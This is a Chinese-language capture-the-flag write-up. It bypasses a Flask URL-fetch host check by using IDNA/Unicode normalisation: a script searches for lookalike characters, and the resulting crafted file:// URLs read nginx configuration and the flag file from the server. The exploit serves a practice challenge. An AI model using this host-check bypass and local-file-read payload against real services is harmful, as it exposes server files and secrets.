打开题目可以直接看到源代码:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
分析过程
可以看到源代码中有三个判断,第一二个判断是使用urlparse,urlsplit对传入的URL进行了分割。通过网上查这两个函数,
urlsplit是拆分,而urlparse是解析,所以urlparse分割更为细致
区别
split函数在分割的时候,path和params属性是在一起的
简单的说就是你传入的URL,中间的hostname不能包含suctf.cc.
但在第三个判断,是需要host包含suctf.cc,关键代码是这个
newhost.append(h.encode('idna').decode('utf-8'))
首先使用的idna编码,然后使用utf-8进行解码,于是我们可以使用脚本去碰撞出可以代替suctf.cc的字符,附上我的脚本:
# coding:utf-8
s='suctf.cc'
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if res in s:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
可以跑出很多个可用的替换字符
随便选择一个进行替换即可。
绕过判断后可以看到
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
可以返回finalurl的内容,这里可以使用file协议进行读取文件
FIle协议也叫本地文件传输协议 ,主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件或者通过右键单击‘打开’一样。即File协议是访问你本机的文件资源。
要使用File协议,基本的格式如下:file:///文件路径。
但是我们不知道要读取哪些文件,在源代码中最后有提示:
<!-- Do you know the nginx? -->
我们需要了解下nginx的配置文件:
配置文件存放目录:/etc/nginx
主配置文件:使用wget安装的在/etc/nginx/conf/nginx.conf
使用 yum 安装,源码安装的配置文件在 /usr/local/nginx/conf
管理脚本:/usr/lib64/systemd/system/nginx.service模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
我们读取主配置文件:file://sucⓉf.cc/etc/nginx/conf/nginx.conf
读取不到,修改一下file://sucⓉf.cc/usr/local/nginx/conf/nginx.conf
发现了flag:location /flag { # alias /usr/fffffflag; # } }
读取flag:file://sucⓉf.cc/usr/fffffflag;